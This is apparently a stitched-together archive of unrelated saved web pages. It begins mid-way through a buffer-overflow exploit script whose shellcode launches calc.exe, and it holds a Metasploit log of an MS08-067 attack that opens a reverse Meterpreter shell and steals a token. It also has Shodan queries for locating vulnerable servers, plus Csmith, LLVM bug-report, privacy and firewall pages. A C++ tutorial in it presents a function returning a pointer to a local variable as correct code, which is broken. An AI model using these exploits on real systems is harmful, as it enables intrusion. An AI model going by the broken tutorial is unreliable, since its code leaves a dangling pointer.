`16` | `"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66"`  
---|---  
`17` | `"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89"`  
---|---  
`18` | `"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b"`  
---|---  
`19` | `"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a"`  
---|---  
`20` | `"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7"`  
---|---  
`21` | `"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00")`  
---|---  
`22` |   
---|---  
`23` | `try:`  
---|---  
`24` | `print junk + addr + junk2 + EIP + shellcode`  
---|---  
`25` |   
---|---  
`26` | `except:`  
---|---  
`27` | `print "\n[-] Something went wrong...\n"`  
---|---  
Run the script, if everything was successful, calc.exe should spawn\!

<img src='img/Temp2_4724.png' width='300' height='220' />

Success\! We’ll save SEH for another walkthrough for now.

# Embedded in Academia : Csmith Released

**Created:**| _4/13/2011 8:20:26 AM_  
---|---  
**Updated:**| _4/13/2011 8:20:26 AM_  
**Author:**| __  
**Tags:**| _compiler-building LOLZ_  
  

## Csmith Released

Here is Csmith, our randomized C program generator. My dream is that it will
be a force for good by unleashing a world of hurt upon low-quality C compilers
everywhere \(it is not uncommon for Csmith to crash a previously-untested tool
on the very first try\). High-quality C compilers, such as the latest versions
of GCC and Clang, will correctly translate many thousands of random programs.

I wanted to release Csmith under the CRAPL, but nobody else in my group
thought this was as funny as I do. Actually we put quite a bit of work into
creating a stable, usable release. Even so, Csmith is a complex piece of
software and there are certainly some lurking problems that we’ll have to fix
in subsequent releases.

# Shodan Queries — PenTestIT

**Created:**| _1/2/2010 6:28:31 PM_  
---|---  
**Updated:**| _1/2/2010 6:28:46 PM_  
**Author:**| __  
**Tags:**| _bookmark pentest network-security searching_  
  

# Shodan Queries\!

DECEMBER 1, 2009

By now, you might know about Shodan, the  _Sentient Hyper-Optimized Data
Access Network. _It is a search engine for the network part. We wrote a bit
about it here. Since the day we stumbled upon it, we have not been able to get
enough\!

That is one of the reasons behind us starting this page. It is similar to our
**Google dorks** page. We will be following the same style of posting the
search queries as we come across.

[code]

    http://shodan.surtri.com/?q=cisco-IOS
    
    http://shodan.surtri.com/?q=IIS+4.0
    
    http://shodan.surtri.com/?q=Xerver (**REF** : http://www.exploit-db.com/exploits/9718)
    
[/code]

- **November 29th 2009**
[code]

    http://shodan.surtri.com/?q=Fuji+xerox
    
    http://shodan.surtri.com/?q=JetDirect
    
[/code]

- **November 30th 2009**
[code]

    http://shodan.surtri.com/?q=port:23+%22list+of+built-in+commands%22
    
    http://shodan.surtri.com/?q=port%3A80+iisstart.html
    
[/code]

- **December 1st 2009**
[code]

    http://shodan.surtri.com/?q=Server:%20SQ-WEBCAM
    
    http://shodan.surtri.com/?q=Netgear
    
    http://shodan.surtri.com/?q=%22Anonymous+access+allowed%22
    
    http://shodan.surtri.com/?q=Golden+FTP+Server (**REF** : http://www.exploit-db.com/exploits/10258)
    
[/code]

- **December 3rd 2009**
[code]

    http://shodan.surtri.com/?q=IIS+5.0 (**REF** : http://milw0rm.com/exploits/9541)
    
    http://shodan.surtri.com/?q=IIS+6.0
    
[/code]

- **December 5th 2009**
[code]

    http://shodan.surtri.com/?q=%22Server%3A+iWeb%22+HTTP (**REF** : http://packetstormsecurity.org/0912-exploits/iweb-traversal.txt)
    
[/code]

- **December 8th 2009**
[code]

    http://shodan.surtri.com/?q=Wordpress
    
    http://shodan.surtri.com/?q=Joomla
    
    http://shodan.surtri.com/?q=Drupal
    
    http://shodan.surtri.com/?q=iPhone+Web+Server
    
    http://shodan.surtri.com/?q=FreeBSD
    
    http://shodan.surtri.com/?q=IPCop
    
[/code]

- **December 23rd 2009**
[code]

    http://shodan.surtri.com/?q=IBM-HTTP-Server
    
    http://shodan.surtri.com/?q=barra_counter_session
    
    http://shodan.surtri.com/?q=BIGipServer
    
    http://shodan.surtri.com/?q=F5-TrafficShield
    
    http://shodan.surtri.com/?q=st8id
    
    http://shodan.surtri.com/?q=profense
    
    http://shodan.surtri.com/?q=X-dotDefender-denied
    
    http://shodan.surtri.com/?q=X-Cnection
    
    http://shodan.surtri.com/?q=nnCoection
    
    http://shodan.surtri.com/?q=Cneonction
    
    (- **Thankswafw00f!**)
    
[/code]

  *[DECEMBER 1, 2009]: 2009-12-01

# Sudhakar's Blog

**Created:**| _6/29/2017 3:47:32 PM_  
---|---  
**Updated:**| _6/29/2017 3:47:32 PM_  
**Author:**| __  
**Tags:**| __  
  

  

09 Aug 2015

How https works

HTTP over a secure socket layer \(SSL\) is what we call simply as HTTPS, helps
us to safely share our sensitive data over the internet. But, how actually it
works? What is happening behind the scenes? Here is my attempt to explain it
\(without out the nitty gritty details\) visually

<img src='img/Temp2_7785.jpg' width='751' height='2503' />

  

# rCUDA | HPCA
**Created:**| _8/12/2010 5:03:13 PM_  
---|---  
**Updated:**| _8/12/2010 5:03:13 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

Home

# rCUDA

### Introduction

We are happy to announce the public release of rCUDA 1.0.  
The rCUDA framework enables the concurrent usage of CUDA-compatible devices
remotely.  
rCUDA employs the socket API for the communication between clients and
servers. Thus, it can be useful in three different environments:

  * Clusters. To reduce the number of GPUs installed in High Performance Clusters. This leads to energy savings, as well as other related savings like acquisition costs, maintenance, space, cooling, etc.
  * Academia. In commodity networks, to offer access to a few high performance GPUs concurrently to many students.
  * Virtual Machines. To enable the access to the CUDA facilities on the physical machine.

The current version of rCUDA \(v1.0\) implements all functions in the CUDA
Runtime API version 2.3, excluding OpenGL and Direct3D interoperability. rCUDA
1.0 targets the Linux OS \(for 32- and 64-bit architectures\) on both client
and server sides.  
If you are interested in evaluating rCUDA, please proceed to the Software
request form page.  
The rCUDA team will be glad to send you a copy of the software at no cost. The
framework is free for any purpose under the terms and conditions of the GNU
GPL/LGPL \(where applicable\) licenses.  
For further information, please refer to the papers listed in this
publications page.

### The rCUDA Team

Management:

  * José Duato, and Federico Silla. Grupo de Arquitecturas Paralelas. Departamento de Informática de Sistemas y Computadores. Universidad Politécnica de Valencia. Spain.
  * Rafael Mayo, and Enrique S. Quintana-Ortí. High Performance Computing and Architectures Group. Departamento de Ingeniería y Ciencia de los Computadores. Universidad Jaume I. Castellón, Spain.

Development:

  * Antonio J. Peña. Grupo de Arquitecturas Paralelas. Departamento de Informática de Sistemas y Computadores. Universidad Politécnica de Valencia. Spain.

Other contributions:

  * Francisco D. Igual. High Performance Computing and Architectures Group. Departamento de Ingeniería y Ciencia de los Computadores. Universidad Jaume I. Castellón, Spain.

# Pythex: a Python regular expression editor

**Created:**| _4/21/2011 10:11:52 AM_  
---|---  
**Updated:**| _4/21/2011 10:11:52 AM_  
**Author:**| __  
**Tags:**| _bookmark regex_  
  
pythex

# Untitled note

**Created:**| _4/7/2012 11:13:11 AM_  
---|---  
**Updated:**| _4/7/2012 11:13:11 AM_  
**Author:**| __  
**Tags:**| _static llvm_  
  

[code]

    Hello.
    
    Time passed and I decided to re-check the LLVM, using the PVS-Studio tool.
    Old post: http://www.viva64.com/en/b/0108/
    
    I found a few new issues in code, which may contain errors.
    I'll give a few examples. There are other suspicious fragments.
    I suggest download the PVS-Studio, to more fully explore the notice.
    
    Download PVS-Studio: http://www.viva64.com/en/pvs-studio-download/
    
    ---
    Andrey Karpov, MVP
    Cand. Sc. (Physics and Mathematics), CTO
    OOO "Program Verification Systems" (Co Ltd)
    URL: www.viva64.com
    E-Mail: karpov@viva64.com 
    
    ==============================================
    V501 There are identical sub-expressions 'SM.getExpansionColumnNumber(ContainerREnd)' to the left and to the right of the '>=' operator. clangStaticAnalyzerCore bugreporter.cpp 925
    
    
    bool EdgeBuilder::containsLocation(const PathDiagnosticLocation &Container,
                                       const PathDiagnosticLocation &Containee) {
      ...
      return (ContainerBegLine <= ContaineeBegLine &&
              ContainerEndLine >= ContaineeEndLine &&
              (ContainerBegLine != ContaineeBegLine ||
               SM.getExpansionColumnNumber(ContainerRBeg) <=
               SM.getExpansionColumnNumber(ContaineeRBeg)) &&
              (ContainerEndLine != ContaineeEndLine ||
               SM.getExpansionColumnNumber(ContainerREnd) >=
               SM.getExpansionColumnNumber(ContainerREnd)));
    }
    
    Probably need this way:
      SM.getExpansionColumnNumber(ContainerREnd) >=
      SM.getExpansionColumnNumber(ContaineeREnd)));
    ==============================================
    V522 Dereferencing of the null pointer 'DI' might take place. llvm-tblgen dagiselmatchergen.cpp 220
    
    void MatcherGen::EmitLeafMatchCode(const TreePatternNode *N) {
      ...
      if (DI == 0) {
        errs() << "Unknown leaf kind: " << *DI << "\n";
        abort();
      }
      ...
    }
    ==============================================
    V523 The 'then' statement is equivalent to the 'else' statement. clangRewrite rewriteobjc.cpp 3361
    
    std::string RewriteObjC::SynthesizeBlockFunc(....)
    {
      ...
      if (convertBlockPointerToFunctionPointer(QT))
        QT.getAsStringInternal(ParamStr, Context->getPrintingPolicy());
      else
        QT.getAsStringInternal(ParamStr, Context->getPrintingPolicy());      
      ...
    }
    
    And here:
    V523 The 'then' statement is equivalent to the 'else' statement. clangRewrite rewritemodernobjc.cpp 3291
    ==============================================
    V595 The 'BBLoop' pointer was utilized before it was verified against nullptr. Check lines: 142, 160. LLVMAnalysis profileestimatorpass.cpp 142
    
    void ProfileEstimatorPass::recurseBasicBlock(BasicBlock *BB) {
      ...
      Loop* BBLoop     = LI->getLoopFor(BB);
      ...
      if (BBisHeader && BBLoop->contains(*bbi)) {
        ...
      }
      ...
      if (BBLoop) {
        BBLoop->getExitEdges(ExitEdges);
      }
      ...
    }
    ==============================================
    V595 The 'StrippedPtr' pointer was utilized before it was verified against nullptr. Check lines: 918, 920. LLVMInstCombine instructioncombining.cpp 918
    
    Instruction *InstCombiner::visitGetElementPtrInst(GetElementPtrInst &GEP) {
      ...
      Value *StrippedPtr = PtrOp->stripPointerCasts();
      PointerType *StrippedPtrTy = dyn_cast<PointerType>(StrippedPtr->getType());
    
      if (!StrippedPtr)
        return 0;
      ...
    }
    ==============================================
    V595 The 'OtherUse' pointer was utilized before it was verified against nullptr. Check lines: 2522, 2527. LLVMScalarOpts loopstrengthreduce.cpp 2522
    
    void LSRInstance::ChainInstruction(....)
    {
      ...
      Instruction *OtherUse = dyn_cast<Instruction>(*UseIter);
      if (SE.isSCEVable(OtherUse->getType())
          && !isa<SCEVUnknown>(SE.getSCEV(OtherUse))
          && IU.isIVUserOrOperand(OtherUse)) {
        continue;
      }
      if (OtherUse && OtherUse != UserInst)
        NearUsers.insert(OtherUse);
      ...
    }
    ==============================================
    V523 The 'then' statement is equivalent to the 'else' statement. LLVMInstCombine instcombineandorxor.cpp 1368
    
    static bool CollectBSwapParts(....)
    {
      ...
      unsigned DestByteNo = InputByteNo + OverallLeftShift;
      if (InputByteNo < ByteValues.size()/2) {
        if (ByteValues.size()-1-DestByteNo != InputByteNo)
          return true;
      } else {
        if (ByteValues.size()-1-DestByteNo != InputByteNo)
          return true;
      }
      ...
    }
    ==============================================
    V501 There are identical sub-expressions to the left and to the right of the '||' operator. LLVMSelectionDAG dagcombiner.cpp 7992
    
    bool DAGCombiner::SimplifySelectOps(SDNode *TheSelect, SDValue LHS,
                                        SDValue RHS) {
      ...
      SDNode *CondLHS = TheSelect->getOperand(0).getNode();
      SDNode *CondRHS = TheSelect->getOperand(1).getNode();
    
      if ((LLD->hasAnyUseOfValue(1) && (LLD->isPredecessorOf(CondLHS) || LLD->isPredecessorOf(CondRHS))) ||
          (LLD->hasAnyUseOfValue(1) && (LLD->isPredecessorOf(CondLHS) || LLD->isPredecessorOf(CondRHS))))
        return false;
      ...
    }
    ==============================================
    
[/code]

# zynamics.com - KB0001: Splitting Python scripts into multiple files

**Created:**| _3/18/2011 5:13:18 PM_  
---|---  
**Updated:**| _3/18/2011 5:13:18 PM_  
**Author:**| __  
**Tags:**| _bookmark python_  
  

KB0001: Splitting Python scripts into multiple files  
  
When writing Python scripts for BinNavi, you might want to split large scripts
into multiple Python files. By default this causes problems because the import
path is not set up the way you expect.  
  
Take the following example that imports the function show\_stats from the file
library.py into the file main.py.  
  
**library.py:**  

?

12| `def` `show_stats:`` ``pass`  
---|---  
**main.py:**  

?

1| `from` `library` `import` `show_stats`  
---|---  
This does not work because you have to set up the import path.  
  
To do this, change main.py to  

?

12| `sys.path.append(os.path.join(navi.programPath,` `"scripts"``))``from`
`library` `import` `show_stats`  
---|---

# Re: defaulting to net.ipv6.bindv6only=1 for squeeze

**Created:**| _3/15/2010 10:22:27 PM_  
---|---  
**Updated:**| _3/15/2010 10:22:33 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

[code]

    On Oct 24, Guus Sliepen <guus@debian.org> wrote:
    
    > And bindv6only=0 is also not RFC compliant. However, a *lot* of applications
    > that use listening sockets will not work correctly anymore when you change the
    > default. So it probably is better to make it a release goal that applications
    Can you make a list? I do not think there is a significant number, I
    only know about vmware.
    
    -- 
    ciao,
    Marco
[/code]

# MSF PS \#763679 - Pastie

**Created:**| _1/2/2010 12:34:46 PM_  
---|---  
**Updated:**| _1/3/2010 4:27:59 PM_  
**Author:**| __  
**Tags:**| _Metasploit_  
  

[code]

    hdm@ubuntu:~$ /msf3/msfconsole 
    
                                      _             
                                     | |      o     
     _  _  _    _ _|_  __,   ,    _  | |  __    _|_ 
    / |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |  
      |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                               /|                   
                               \|                   
    
    
           =[ metasploit v3.3.4-dev [core:3.3 api:1.0]
    + -- --=[ 487 exploits - 228 auxiliary
    + -- --=[ 192 payloads - 23 encoders - 8 nops
           =[ svn r8052 updated today (2010.01.01)
    
    msf exploit(ms08_067_netapi) > exploit 
    
    [*] Started reverse handler on port 4444
    [*] Automatically detecting the target...
    [*] Fingerprint: Windows XP Service Pack 3 - lang:English
    [*] Selected Target: Windows XP SP3 English (NX)
    [*] Triggering the vulnerability...
    [*] Sending stage (723456 bytes)
    [*] Meterpreter session 1 opened (192.168.0.151:4444 -> 192.168.0.120:1042)
    
    meterpreter > ps
    
    Process list
    ============
    
        PID   Name               Path                                                    User
        ---   ----               ----                                                    ----
        112   VMwareService.exe  C:\Program Files\VMware\VMware Tools\VMwareService.exe  NT AUTHORITY\SYSTEM
        352   wuauclt.exe        C:\WINDOWS\system32\wuauclt.exe                         WINXP\Developer
        620   smss.exe           \SystemRoot\System32\smss.exe                           NT AUTHORITY\SYSTEM
        684   csrss.exe          \??\C:\WINDOWS\system32\csrss.exe                       NT AUTHORITY\SYSTEM
        708   winlogon.exe       \??\C:\WINDOWS\system32\winlogon.exe                    NT AUTHORITY\SYSTEM
        752   services.exe       C:\WINDOWS\system32\services.exe                        NT AUTHORITY\SYSTEM
        764   lsass.exe          C:\WINDOWS\system32\lsass.exe                           NT AUTHORITY\SYSTEM
        896   wscntfy.exe        C:\WINDOWS\system32\wscntfy.exe                         WINXP\Developer
        924   svchost.exe        C:\WINDOWS\system32\svchost.exe                         NT AUTHORITY\SYSTEM
        1008  svchost.exe        C:\WINDOWS\system32\svchost.exe                         NT AUTHORITY\NETWORK SERVICE
        1104  svchost.exe        C:\WINDOWS\System32\svchost.exe                         NT AUTHORITY\SYSTEM
        1148  svchost.exe        C:\WINDOWS\System32\svchost.exe                         NT AUTHORITY\NETWORK SERVICE
        1272  svchost.exe        C:\WINDOWS\System32\svchost.exe                         NT AUTHORITY\LOCAL SERVICE
        1292  cmd.exe            C:\WINDOWS\system32\cmd.exe                             WINXP\Developer
        1320  alg.exe            C:\WINDOWS\System32\alg.exe                             NT AUTHORITY\LOCAL SERVICE
        1572  spoolsv.exe        C:\WINDOWS\system32\spoolsv.exe                         NT AUTHORITY\SYSTEM
        1692  Explorer.EXE       C:\WINDOWS\Explorer.EXE                                 WINXP\Developer
        1744  VMwareTray.exe     C:\Program Files\VMware\VMware Tools\VMwareTray.exe     WINXP\Developer
        1752  VMwareUser.exe     C:\Program Files\VMware\VMware Tools\VMwareUser.exe     WINXP\Developer
        1760  msmsgs.exe         C:\Program Files\Messenger\msmsgs.exe                   WINXP\Developer
        1872  rundll32.exe       C:\WINDOWS\system32\rundll32.exe                        WINXP\Developer
    
    meterpreter > steal_token 1292
    Stolen token with username: WINXP\Developer
    
    meterpreter > getuid
    Server username: WINXP\Developer
    
    meterpreter > drop_token 
    Relinquished token, now running as: NT AUTHORITY\SYSTEM
    
    meterpreter > getprivs 
    ============================================================
    Enabled Process Privileges
    ============================================================
      SeDebugPrivilege
      SeTcbPrivilege
      SeCreateTokenPrivilege
      SeAssignPrimaryTokenPrivilege
      SeLockMemoryPrivilege
      SeIncreaseQuotaPrivilege
      SeSecurityPrivilege
      SeTakeOwnershipPrivilege
      SeLoadDriverPrivilege
      SeSystemtimePrivilege
      SeProfileSingleProcessPrivilege
      SeIncreaseBasePriorityPrivilege
      SeCreatePagefilePrivilege
      SeCreatePermanentPrivilege
      SeBackupPrivilege
      SeRestorePrivilege
      SeShutdownPrivilege
      SeAuditPrivilege
      SeSystemEnvironmentPrivilege
      SeChangeNotifyPrivilege
      SeUndockPrivilege
      SeManageVolumePrivilege
[/code]

# Microsoft predicts a grim future if the government keeps collecting data illegally | VentureBeat | Security | by Alexia LaFata
**Created:**| _6/27/2014 3:59:00 PM_  
---|---  
**Updated:**| _6/27/2014 3:59:00 PM_  
**Author:**| __  
**Tags:**| _opinion published_  
  

# Microsoft predicts a grim future if the government keeps collecting data
illegally

<img src='img/Temp2_5370.jpg' alt='Microsoft predicts a grim future if the
government keeps collecting data illegally' />

Above: Microsoft's Brad Smith.

_Image Credit: Microsoft_

We’re facing a “bleak” future if more isn’t done to protect individuals’
private data. That’s what Microsoft general counsel Brad Smith said today.

Smith has implemented a months-long public campaign to pressure Congress into
taking significant steps toward reserving a user’s right to his or her private
information. The United States has already done a few small things to stop the
U.S. National Security Agency and other government agencies from unlawfully
collecting data, but as a whole, the government must go even further, Smith
said at the Brookings Institution in Washington.

Smith called on Congress to stop “the unfettered collection of bulk data” by
reforming the Foreign Intelligence Surveillance Court, or FISA Court.

“I want law enforcement to do its job in an effective way pursuant to the rule
of law. If we can’t get to that world, then law enforcement is going to have a
bleak future anyway,” Smith said. “It needs to be well-designed regulation, it
needs to be thoughtful, it needs to be balanced, but we cannot live in the
Wild West when we’re talking about information that is this important to
people.”

Edward Snowden unveiled the NSA’s snooping practices to the American public
back in 2013. Like Daniel Ellsberg, who in 1971 released Vietnam War documents
to the _New York Times_ , Snowden, a 29-year-old former technical assistant
for the CIA who had been working at the NSA at the time of the leak, will go
down in history as unveiling some of the most significant and top-secret
pieces of information in U.S. political history.

Snowden consistently hoped that people would focus less on what he did and
more on what the NSA documents revealed, which was information about espionage
against U.S. adversaries, domestic spying, and actions that specifically
targeted U.S. allies.

Whether or not you believe Snowden is a traitor or a man deserving of a heroic
title, the issue of the U.S. government having access to citizens’ private
information is increasingly pressing, especially as more and more people
become connected to the Internet.

Smith estimates that “by the end of this decade there will be 50 billion
devices connected to the Internet of things around the world.”

“We will enter a world where every thermostat, smoke detector, fire
extinguisher, parking meter, traffic light, garbage can, and you name it, is a
connected device,” he said.

Microsoft is currently engaged in its own privacy dispute. The company and its
Web-based email service are up against a U.S. government search warrant for
customer email information stored in a data center overseas in Dublin,
Ireland.

In court papers filed June 6, Smith listed objections to this warrant,
including that Congress has not been granted the authority to issue search
warrants outside of U.S. territory. It also reads, “The government takes the
extraordinary position that by merely serving such a warrant on any U.S.-based
email provider, it has the right to obtain the private emails of any
subscriber, no matter where in the world the data may be located, and without
the knowledge or consent of the subscriber or the relevant foreign government
where the data is stored.”

Thanks to the Internet, data is rapidly and effortlessly transported around
the planet, hanging out in foreign data centers and traversing national
borders easily. It takes no energy for a file to zip across the Web, which
gives rise to concerns that U.S. law enforcement agencies are snooping where
they shouldn’t be and treading on foreigners’ rights.

However, if Microsoft’s interpretation of this search warrant holds true, says
U.S. Attorney Preet Bharara of the Southern District of New York, people would
be legally able to move other potentially incriminating data overseas to avoid
legitimate law enforcement requests, which could cause other problems. In a
court document, the government wrote that Microsoft’s position creates an
absurdity.

“\[Microsoft\] stores email content overseas based on where its subscribers
claim to live. Under Microsoft’s view … criminals using a U.S. service
provider could avoid lawful process to obtain stored content in their accounts
simply by representing falsely that they live outside the country,” the
government wrote.

There are clearly many questions to be answered.

Snowden’s document release has even prompted inquiries about laws related to
search and seizure. Due to rapid technological changes, it has become quite
easy for the government to meddle in all kinds of locations and with all kinds
of data, including email exchanges, photos, videos, and phone calls. Perhaps
U.S. search and seizure policies need to change to adjust to the times.

Besides the privacy and search and seizure issues, there’s a trust and
business component that Microsoft and other technological companies alike have
to worry about.

“We are in a business that relies on people’s trust. We’re offering a world
where you should feel comfortable about storing \(your information\) in the
cloud. … You need to have confidence that this information is still yours,”
Smith said.

On Microsoft’s TechNet blog, Smith criticized the U.S. government’s data
interception practices, saying that the government needed to “reduce the
technology trust deficit it has created.” Smith cites the Fourth Amendment of
the U.S. Constitution and asserts that citizens have a right to keep email
communications private. He urged Congress to uphold these Constitutional
privacy protections and adhere to rules established by the law.

Smith wants people to know what companies are doing with their data. He
suggested a dashboard where users can look at the data that exists about them
on the Web and how the data is being used. This could be a “way for people
technologically to have control,” he wrote. It’s unknown if Microsoft is
working on such a product.

###### More about the companies and people from this article:

  * Microsoft 

Microsoft Corporation is a public multinational corporation headquartered in
Redmond, Washington, USA that develops, manufactures, licenses, and supports a
wide range of products and services predominantly related to computing through
... read more »

Powered by VBProfiles

# C++ Examples: Returning a Pointer

**Created:**| _7/3/2012 7:52:05 PM_  
---|---  
**Updated:**| _7/3/2012 7:52:05 PM_  
**Author:**| __  
**Tags:**| _C++ pointers_  
  

C++ Examples: Returning a Pointer  
---  
Instead of a regular value or even a reference, a function can return a
pointer. You can start to specify this by typing the \* operator on the left
side of the function's name. Here is an example:

[code]

    double * GetSalary()
    {
    
    }
[/code]

Then, use the body of the function to define it. Before the closing curly
bracket of the function, remember to return a pointer to the return value.
Here is an example:

[code]

    double * GetSalary()
    {
        double salary = 26.48;
    
        double *HourlySalary = &salary;
    
        return HourlySalary;
    
    }
[/code]

Because a pointer by defining is a reference to the address where a variable
resides, when a function is defined as returning a pointer, you can also
return a reference to the appropriate type. Here is an example:

[code]

    double * GetSalary()
    {
        double salary = 26.48; 
    
        return &salary;
    }
[/code]

After defining the function, you can call it. Remember that the asterisk is
used to get the value of a pointer. This means that, when calling the
function, if you want to access its value, make sure you include the asterisk
on the left side of the name of the function. Here is an example:

[code]

    //---------------------------------------------------------------------------
    #include <iostream>
    using namespace std;
    
    double & GetWeeklyHours()
    {
        double h = 46.50;
        double &hours = h;
    
        return hours;
    }
    //---------------------------------------------------------------------------
    double * GetSalary()
    {
        double salary = 26.48;
        double *HourlySalary = &salary;
    
        return HourlySalary;
    }
    //---------------------------------------------------------------------------
    int main()
    {
        double hours  = GetWeeklyHours();
        double salary = *GetSalary();
    
        cout << "Weekly Hours:  " << hours << endl;
        cout << "Hourly Salary: " << salary << endl;
    
        double WeeklySalary = hours * salary;
    
        cout << "Weekly Salary: " << WeeklySalary << endl;
    
        return 0;
    }
    //---------------------------------------------------------------------------
[/code]

This would produce:

[code]

    Weekly Hours:  46.5
    Hourly Salary: 26.48
    Weekly Salary: 1231.32
    
[/code]  
---

# Windows: svchost.exe failing to write to 0x41414141 - Caravel Forum

**Created:**| _3/18/2011 5:12:03 PM_  
---|---  
**Updated:**| _3/18/2011 5:12:03 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
**Windows: svchost.exe failing to write to 0x41414141** \(0\)

* * *
A couple days ago I started receiving the following error in Firefox:  
  

> quote:
> * * *
> svchost.exe  
>  
>  The instruction at "0x77c43dbd" referenced memory at "0x41414141". The
> memory could not be "written".
> * * *
  
  
The immediately visible results of this are that I can't run task manager, I
can't save images from Firefox, I can't execute some programs \(they appear in
the task list but I can't get to them\), and I cannot shut down my computer
without killing power to it.  
  
Does anyone have any ideas what could be causing this?  
  
  
  
Also, and this may or may not be related, I noticed last week that my computer
was playing local .wmv files very choppy. The clock is moving slightly faster
than normal time, but the audio isn't, so at random intervals the audio skips
as much as 2 seconds at a time to catch up. It was suggested to me this could
all be the same problem, one to do with the kernel.  
  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
Deploy the... I think it's a yellow button... it's usually flashing... it
makes the engines go... WHOOSH\!  
---

# Firewall Tunning on Mac OS X - MacShadows KB

**Created:**| _1/21/2010 12:40:03 PM_  
---|---  
**Updated:**| _1/21/2010 12:40:16 PM_  
**Author:**| __  
**Tags:**| _Firewalls Mac-hacking_  
  

# Firewall Tunning on Mac OS X

### From MacShadows KB

Jump to: navigation, search

<img src='img/Temp2_3238.png' width='14' height='14' alt='height=14px' />

## Contents

  * 1 Introduction
  * 2 Enabling Logs
  * 3 Setting up the localhost
  * 4 Tracking States
  * 5 Standard Services & Protocols
  * 6 Closing Up
  * 7 Testing the Firewall
  * 8 Making Changes Permanent
  * 9 See also

  
---  
## Introduction

Mac OS X comes with its own firewall \(ipfw\) and its own GUI for configuring
it. However, this GUI is very limited and its not enough for the savvy user to
use all of its power. This article will show you how to use some of its
powerful features such as dynamically setting and removing rules.

The ipfw packet is so powerful it even does packet shaping to manage QoS in
traffic, however that topic is out of the scope. If you want more information
I recommend you read the man pages of ipfw:

[code]

    man ipfw
    
[/code]

ipfw works with rules which are written and checked in order. Therefore the
low number rules are first checked towards the end of the list. There are two
approaches when configuring firewalls:

  1. Closing the network + Allow traffic
  2. Opening the network + Denying traffic

This article will take the first approach, closing the network and then only
allow the traffic which should be allowed into our machine. Because of the way
ipfw works, we will add the allow rules first and finally close all incoming
and outgoing traffic.

**Remember:** when using ipfw from the console you should let it disabled from
the configuration GUI that comes with Mac OS X, otherwise the rules may
collide and render your security useless.

## Enabling Logs

You should only enable logs if you are actually going to audit them on a
periodic basis. Otherwise, just ignore this secftion.

In order to see if your firewall is logging packets in Mac OS X \(the entries
go into /var/log/system.log\) do the following:

[code]

    sysctl net.inet.ip.fw.verbose
    
[/code]

If its value is set to 0 it is not logging. If set to another number then it
is logging. If you want to activate your logs I recommend this:

[code]

    sudo sysctl -w net.inet.ip.fw.verbose=2
    
[/code]

If you want to disable logging you may repeat the command mentioned above but
changing the value to 0 instead of 2.

## Setting up the localhost

We will let our machine connect to itself via the loopback address \(generally
identified with the IP 127.0.0.1\). This will also mark the beginning of the
rules in our list. We will start with the rule 100, however you may choose the
number you want.

[code]

    ipfw -f add 100 allow ip from any to any via lo0
    
[/code]

This first rule allows any traffic, incoming or outgoing from any source and
to any destination which comes through the interface lo0 \(our loopback
interface\). There are very well known attacks which use spoofing of
localhost. This attacks will be blocked and logged:

[code]

    ipfw -f add 110 deny log ip from 127.0.0.0/8 to any in
    ipfw -f add 120 deny log ip from any to 127.0.0.0/8 in
    
[/code]

## Tracking States

ipfw has the ability to work in a stateful mode. This means that it can
dynamically add or remove rules according to new connections. If a new
connection is initiated from our machine outwards then the incoming traffic of
that connection should be allowed. We need to tell ipfw to start tracking
states. This time we will use a rule number located in the middle of the list
so new rules may be added in between the states and the end:

[code]

    ipfw -f add 20000 check-state
    
[/code]

After tracking states we need to allow established connections. ipfw does this
by looking at the ack and rst bits. This entry is added to prevent some
connection timeouts that may be present:

[code]

    ipfw -f add allow tcp from any to any established
    
[/code]

We should also allow outbound connections and keep the state of them:

[code]

    ipfw -f add allow tcp from any to any out keep-state
    
[/code]

And finally, we should allow UDP and ICMP packets out of our network:

[code]

    ipfw -f add allow udp from any to any out keep-state
    ipfw -f add allow icmp from any to any out
    
[/code]

## Standard Services & Protocols

DHCP, NTP and DNS services should be working correctly with the stateful
firewall configured as it is so we will not check them.

If you want to allow incoming pings or people to do a traceroute on you you
should add:

[code]

    ipfw -f add allow icmp from any to any in
    
[/code]

This will allow you to receive incoming pings from any host in the network,
however if you want only certain nets or subnets to ping you, you'll have to
change the word any to the hostname you want to allow. You have to add as many
rules as hosts you want to allow to ping you: this means there should be one
rule per net or subnet.

To enable SSH \(remote login\) to go through your firewall you should add the
following lines:

[code]

    ipfw -f add allow tcp from any to any 22 keep-state setup
    
[/code]

You should notice here the setup is needed in order for the stateful firewall
to add and keep the dynamic rules as long as the connection is alive. We did
not include any state setup in ICMP because it is a connection-less protocol.

To enable HTTP and HTTPS the following lines should be added:

[code]

    ipfw -f add allow tcp from any to any 80 keep-state setup
    ipfw -f add allow tcp from any to any 443 keep-state setup
    
[/code]

From here on the syntax is pretty much the same for new services you want
added but you just need to change the port number and see if it is a
connection oriented protocol or not. You will also need to change if the
protocol works under TCP \(connection-oriented\) or UDP \(connection-less\).
Here are some common ports for common services you should be aware of:  
  

**Service**| **Protocol**| **Port\(s\)**| **keep-state**| **setup**  
---|---|---|---|---  
AFP \(Apple File Share\) | tcp | 548  
427 | yes | yes   
SMB \(Windows networking\) | tcp  
udp | 139  
137-138 | yes  
yes | yes  
no  
LDAP | tcp  
udp | 389  
389 | no  
yes | yes  
no  
Quicktime Streaming \(QTSS\) | tcp | 545 | yes | yes   
Quicktime Streaming \(RTSP\) | tcp | 554 | yes | yes   
Quicktime Streaming \(UDP RTSP\) | udp | 6970-6999 | yes | no   
iTunes Sharing | tcp  
udp | 3689  
3689 | no  
yes | yes  
no  
  
  

Finally, it is very important you enable BonJour \(Rendez-vous\) as much of
Mac OS X's networking uses this service even if it is not to directly
communicate to other machines. To enable it, just add:

[code]

